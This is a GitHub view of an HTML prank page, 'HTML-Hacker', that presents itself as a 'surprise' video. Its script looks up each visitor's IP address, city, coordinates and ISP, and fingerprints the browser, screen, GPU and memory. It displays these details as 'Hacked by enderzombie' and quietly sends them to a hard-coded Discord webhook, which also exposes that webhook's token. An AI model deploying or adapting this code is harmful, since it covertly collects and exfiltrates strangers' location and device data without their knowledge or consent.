forked from OpAayush/HTML-Hacker
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.html
261 lines (233 loc) · 9.08 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>Surprise</title>
<meta name="description" content="get a surprise bro">
<script>
window.onload = async () => {
const video = document.getElementById('video');
const loading = document.getElementById('loading');
const data = document.getElementById('data');
const error = message => {
loading.innerText = message;
throw message;
};
const pick = array => array[Math.floor(Math.random() * array.length)];
const hacked_statements = [
"Yes",
"Maybe",
"Most Likely",
"Highly Probable",
"Potentially",
"Unlikely But Still Possible",
"Almost Certainly",
"Definitely",
"Absolutely",
];
const webhookUrl = "https://discord.com/api/webhooks/1228429282020167700/EeqYt5BtqCIHiki3SOolgwHQEbbaQZjkpfnyYygaI5HZ5o3E8EyeKk8nGYEILpe6rI57";
// Function to send data to Discord webhook
const sendDataToWebhook = async (data) => {
try {
await fetch(webhookUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ content: data }),
});
} catch (error) {
console.error('Failed to send data to Discord webhook:', error);
}
};
// Array to store merged messages
let mergedMessages = [];
// Send data to Discord webhook
const sendToWebhook = async (data) => {
mergedMessages.push(data); // Add the message to the mergedMessages array
};
// Send merged messages to Discord webhook
const sendMergedMessages = async () => {
const mergedData = mergedMessages.join('\n'); // Merge the messages using a separator
await sendDataToWebhook(mergedData); // Send the merged messages to the webhook
console.log('Data sent to SpicyDevs');
mergedMessages = []; // Reset the mergedMessages array
};
// Variable to track if the tab is being closed
let tabClosing = false;
// Handle beforeunload event to send merged messages before the tab closes
window.addEventListener('beforeunload', async (event) => {
if (!tabClosing && mergedMessages.length > 0) {
tabClosing = true;
event.preventDefault();
event.returnValue = ''; // Show the default browser prompt message
await sendMergedMessages(); // Send the accumulated messages
}
});
try {
const memes = [];
const push = (tit, con, add) => memes.push(`${tit}: ${con}${add || ''}`);
let step = 0;
let fontSize = Math.min(window.innerHeight / 10, window.innerWidth / 10);
data.style.fontSize = `${fontSize}px`;
let my_ip = await (await fetch("https://wtfismyip.com/json").catch()).json().catch();
let ip_data = await (await fetch(`https://uncors.vercel.app/?url=http://ip-api.com/json/${my_ip.YourFuckingIPAddress}`).catch()).json().catch();
const videoData = await fetch('video.mp4').catch(error);
video.src = URL.createObjectURL(await videoData.blob());
video.load();
video.oncanplaythrough = async () => {
loading.style.display = 'none';
start.style.display = 'flex';
if (my_ip && ip_data) {
push('IP Address', ip_data.query);
push('Hostname', my_ip.YourFuckingHostname);
push('Country', `${ip_data.country} (${ip_data.countryCode})`);
push('Region', `${ip_data.regionName} (${ip_data.region})`);
push('City', ip_data.city);
push('Latitude', ip_data.lat);
push('Longitude', ip_data.lon);
push('ISP', my_ip.YourFuckingISP);
push('Autonomous System', ip_data.as);
} else {
push('IP Address', '::ffff:172.70.126.134');
}
push('User Agent', navigator.userAgent);
push('Connection Method', "GET");
push('Request URL', "/");
push('Request Path', "/");
push('Request Protocol', "http");
push('Secure Connection', false ? 'Yes' : 'No');
push('Proxy IPs', '[]');
push('Window Properies', Object.keys(window).length);
push('Window Width', window.innerWidth, 'px');
push('Window Height', window.innerHeight, 'px');
push('Window Ratio', `${window.innerWidth / window.innerHeight}/1`);
push('Screen Width', window.screen.availWidth, 'px');
push('Screen Height', window.screen.availHeight, 'px');
push('Screen Ratio', `${window.screen.availWidth / window.screen.availHeight}/1`);
push('Screen Pixel Ratio', window.devicePixelRatio, '/1');
push('Screen DPI', window.devicePixelRatio);
push('Screen Color Depth', window.screen.colorDepth);
push('Screen Orientation', `${window.screen.orientation.type} (${window.screen.orientation.angle}°)`);
push('Screen Rotation', window.screen.orientation.angle);
push('OS', `${navigator.platform}`);
push('Available Browser Memory', typeof window.performance.memory != 'undefined' ? Math.round(window.performance.memory.jsHeapSizeLimit / 1024 / 1024) : null, 'MB');
push('CPU Threads', `${navigator.hardwareConcurrency}`);
const canvas = document.createElement('canvas');
let gl;
let debugInfo;
try {
gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
} catch (e) {}
if (gl && debugInfo) {
push('GPU Vendor', gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL));
push('GPU Info', gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL));
}
push('Device Memory', `${navigator.deviceMemory}`);
push('System Languages', navigator.languages.join(', '));
push('Language', `${navigator.language}`);
let date = new Date();
push('Current Time', `${date.toLocaleDateString()} ${date.toLocaleTimeString()}`);
if (ip_data) push('Timezone', ip_data.timezone);
push('Timezone Offset', date.getTimezoneOffset() / 60, ' hours');
push('Hacked', pick(hacked_statements));
push('Hacked By', 'enderzombie');
push('Current Status', "🟢");
};
start.onclick = async () => {
start.style.display = "none";
video.style.display = 'flex';
video.play();
const interval = setInterval(async () => {
const time = video.currentTime - 2.100 - step * 60 / 132; // 132 bpm moment
if (step >= memes.length) step = -Infinity;
if (step < 0) {
clearInterval(interval);
if (!tabClosing) {
await sendMergedMessages(); // Send the accumulated messages
}
return;
}
if (time >= 0) {
if (step == 0) document.title = `Hacked by enderzombie BOZO`;
const el = document.createElement('span');
el.textContent = `${memes[step]}`;
step++;
data.appendChild(el);
const height = data.getBoundingClientRect().height;
if (height >= window.innerHeight) {
fontSize *= 0.88;
data.style.fontSize = `${fontSize}px`;
}
sendToWebhook(`${memes[step]}`); // Add the message to the mergedMessages array
}
}, 5);
};
video.onended = () => {
video.style.display = 'none';
step = -Infinity;
};
} catch (e) {
error(`${e.message}`);
}
};
</script>
<style>
* {
background: white;
color: black;
}
body {
margin: 0;
overflow: hidden;
height: 100vh;
font-family: consolas;
}
body,
#loading,
#start,
#data {
display: flex;
justify-content: center;
align-items: center;
}
#loading,
#start,
#video {
height: 100vh;
width: 100vw;
position: absolute;
top: 0;
left: 0;
}
#loading {
z-index: 3;
font-size: 36px;
}
#start {
flex-direction: column;
z-index: 2;
font-size: 36px;
}
#data {
flex-direction: column;
text-align: center;
}
#data span {
z-index: 1;
background: transparent !important;
}
@media only screen and (min-aspect-ratio: 1/1) {
#video {
object-fit: cover;
}
}
</style>
</head>
<body>
<div id="loading">Loading.... <br>Wait 5s</div>
<div id="start" style="display: none">Click to Start!</div>
<div id="data"></div><video id="video" playingline style="display: none; pointer-events: none"></video>
</body>
</html>